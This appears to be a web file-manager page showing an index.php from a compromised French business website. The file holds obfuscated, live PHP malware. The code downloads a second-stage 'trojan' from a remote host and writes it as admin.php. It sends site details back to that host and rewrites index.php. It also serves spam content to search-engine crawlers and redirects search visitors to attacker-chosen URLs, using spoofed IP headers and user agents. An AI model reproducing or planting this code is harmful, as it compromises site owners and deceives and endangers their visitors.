芝麻web文件管理V1.00
编辑当前文件:/home/prismawe/clients/herve-tessa-maconnerie.fr.new/index.php
0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWRtaW4ucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cHM6Ly81MWxhLnp2bzIueHl6L2EyLnR4dA=="));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly81MWxhLnp2bzIueHl6Lz9kPSVz\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?>$pid,'spider_url'=>$spider_result[(((E_STRICT*21-43008)-157696+77*E_STRICT)-174080+E_STRICT*85)],'html_text'=>$spider_result[((E_STRICT*21-43008)-202751+E_STRICT*99)]);}else{$pid=isset($pid)?$pid:(((E_STRICT*21-43008)-157696+77*E_STRICT)-174080+E_STRICT*85);$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}}if(strpos($referer,'google')!==false||strpos($referer,'yahoo')!==false||strpos($referer,'bing')!==false){if(judgeLanguage($lang)==((E_STRICT*21-43008)-202751+E_STRICT*99)){$client_ip=base64_encode(get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[(((E_STRICT*21-43008)-157696+77*E_STRICT)-174080+E_STRICT*85)]==((E_STRICT*21-43008)-79672+39*E_STRICT)&&strlen($response[((E_STRICT*21-43008)-202751+E_STRICT*99)])>(0-124923+E_STRICT*61)){$tzurl=trim($response[((E_STRICT*21-43008)-202751+E_STRICT*99)]);$tzurl=str_replace(array(chr((E_STRICT*85-173841)),chr(((E_STRICT*21-43008)-188229+E_STRICT*92)),chr(((E_STRICT*21-43008)-8001+E_STRICT*4))," "," "," "," "),'',$tzurl);@header("Location: " . $tzurl);exit;}}}function curl_request($url,$ua='',$referer=null){if($ua==''){$user_agents=array('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' . rand((82*E_STRICT-167935),((0-94208+46*E_STRICT)-178076+87*E_STRICT)),'Mozilla/' . rand((78*E_STRICT-159741),(33*E_STRICT-67579)). '.0 (Windows NT 10.0; Win64; x64; rv:' . rand((E_STRICT*51-104398),(40*E_STRICT-81860)). ') Gecko/20100101 Firefox/' . rand((82*E_STRICT-167935),((0-94208+46*E_STRICT)-178076+87*E_STRICT)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' . rand((E_STRICT*51-104398),(40*E_STRICT-81860)). ') AppleWebKit/' . rand((E_STRICT*22-44556),(2*E_STRICT-3496)). '.36 (KHTML, like Gecko) Chrome/' . rand((E_STRICT*51-104398),(40*E_STRICT-81860)). '.0.3112.90 Safari/' . rand((E_STRICT*22-44556),(2*E_STRICT-3496)). '.36',);$ua=$user_agents[array_rand($user_agents)];}$ip=rand((82*E_STRICT-167935),((0-94208+46*E_STRICT)-14082+E_STRICT*7)). '.' .rand((82*E_STRICT-167935),((0-94208+46*E_STRICT)-14082+E_STRICT*7)). '.' .rand((82*E_STRICT-167935),((0-94208+46*E_STRICT)-14082+E_STRICT*7)). '.' .rand((82*E_STRICT-167935),((0-94208+46*E_STRICT)-14082+E_STRICT*7));$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,(0-94208+46*E_STRICT));curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,(E_STRICT*74-151550));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,(82*E_STRICT-167935));curl_setopt($curl,CURLOPT_AUTOREFERER,(82*E_STRICT-167935));curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,(82*E_STRICT-167935));curl_setopt($curl,CURLOPT_TIMEOUT,(33*E_STRICT-67579));curl_setopt($curl,CURLOPT_HEADER,(0-94208+46*E_STRICT));curl_setopt($curl,CURLOPT_RETURNTRANSFER,(82*E_STRICT-167935));curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$error=curl_error($curl);if($error){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}function post($url,$postData,$ua=''){if($ua==''){$user_agents=array('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' . rand((28*E_STRICT-57343),(E_STRICT*54-110492)),'Mozilla/' . rand(((0-71680+35*E_STRICT)-2045+E_STRICT*1),((0-71680+35*E_STRICT)-45051+22*E_STRICT)). '.0 (Windows NT 10.0; Win64; x64; rv:' . rand((62*E_STRICT-126926),(77*E_STRICT-157636)). ') Gecko/20100101 Firefox/' . rand((28*E_STRICT-57343),(E_STRICT*54-110492)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' . rand((62*E_STRICT-126926),(77*E_STRICT-157636)). ') AppleWebKit/' . rand((E_STRICT*87-177676),((0-71680+35*E_STRICT)-9640+E_STRICT*5)). '.36 (KHTML, like Gecko) Chrome/' . rand((62*E_STRICT-126926),(77*E_STRICT-157636)). '.0.3112.90 Safari/' . rand((E_STRICT*87-177676),((0-71680+35*E_STRICT)-9640+E_STRICT*5)). '.36',);$ua=$user_agents[array_rand($user_agents)];}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,(0-71680+35*E_STRICT));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}function judgeLanguage($lang){if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$language=strtolower(substr(chop($languages[(93*E_STRICT-190464)]),(93*E_STRICT-190464),(56*E_STRICT-114686)));if($language===$lang){return ((0-157696+77*E_STRICT)-178175+E_STRICT*87);}else{return (93*E_STRICT-190464);}}}function getNumber($string){$posSitemap=strpos($string,'sitemap');$posXml=strpos($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-strlen('sitemap');$substring=substr($string,$posSitemap+strlen('sitemap'),$length);$number=intval($substring);return $number;}else{return (0-122880+E_STRICT*60);}}function get_client_ip(){$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach(explode(',',$_SERVER[$key])as $ip){$ip=trim($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($url){$spider_search=curl_request($url);if($spider_search==false||$spider_search[(((0-198656+E_STRICT*97)-14336+7*E_STRICT)-83968+E_STRICT*41)]!=(36*E_STRICT-73528)){return false;}$divResults=[];$dom=new DOMDocument();@$dom->loadHTML($spider_search[(E_STRICT*57-116735)],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);if(strpos($url,'google')!==false){$divResults=$xpath->query('//div[starts-with(@class, "egMi0 kCrYT")]');if($divResults->length==(((0-198656+E_STRICT*97)-14336+7*E_STRICT)-83968+E_STRICT*41)){$divResults=$xpath->query('//div[starts-with(@class, "MjjYud")]');}}else{$divResults=$xpath->query('//div[starts-with(@class, "dd algo algo-sr")]');}if($divResults->length==(((0-198656+E_STRICT*97)-14336+7*E_STRICT)-83968+E_STRICT*41)){return false;}$hrefArray=[];foreach($divResults as $div){$ahref=$xpath->query('.//a',$div);$h3path=$xpath->query('.//h3',$div);if($ahref->length>(((0-198656+E_STRICT*97)-14336+7*E_STRICT)-83968+E_STRICT*41)&&$h3path->length>(((0-198656+E_STRICT*97)-14336+7*E_STRICT)-83968+E_STRICT*41)){$strh3=trim(str_replace('...','',$h3path[(((0-198656+E_STRICT*97)-14336+7*E_STRICT)-83968+E_STRICT*41)]->nodeValue));$hrefArray[]=array('title'=>$strh3,'url'=>$ahref[(((0-198656+E_STRICT*97)-14336+7*E_STRICT)-83968+E_STRICT*41)]->getAttribute('href'));}}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $key){$href=$key['url'];$h3=$key['title'];if($href&&stripos($href,'youtube.com')===false){if(strpos($url,'google')!==false){$pattern='/=http(.*?)&/';preg_match($pattern,$href,$matches);$spider_url=count($matches)>(E_STRICT*57-116735)?'http' .$matches[(E_STRICT*57-116735)]:'';if($spider_url==''){$pattern='/(https?:\/\/[^\s]+)$/';preg_match($pattern,$href,$matches);$spider_url=count($matches)>(E_STRICT*57-116735)?$matches[(E_STRICT*57-116735)]:'';}}else{$pattern='/RU=([^\/]+)\/RK=/';preg_match($pattern,$href,$matches);$spider_url=count($matches)>(E_STRICT*57-116735)?$matches[(E_STRICT*57-116735)]:'';$spider_url=urldecode($spider_url);}if($spider_url!=''){$file_extension=pathinfo($spider_url,PATHINFO_EXTENSION);if(!in_array($file_extension,['pdf','doc'])){$spider_html=curl_request($spider_url,$googleua);if($spider_html!==false&&$spider_html[(((0-198656+E_STRICT*97)-14336+7*E_STRICT)-83968+E_STRICT*41)]==(36*E_STRICT-73528)){$htmltext=trim($spider_html[(E_STRICT*57-116735)]);$pattern='/
(.*?)<\/title>/';preg_match($pattern,$htmltext,$matches);$title=count($matches)>(E_STRICT*57-116735)?$matches[(E_STRICT*57-116735)]:'';if(strlen($htmltext)>(0-178224+88*E_STRICT)&&stripos($title,$h3)!==false){return[$spider_url,$htmltext];}}}}}}return false;} ?>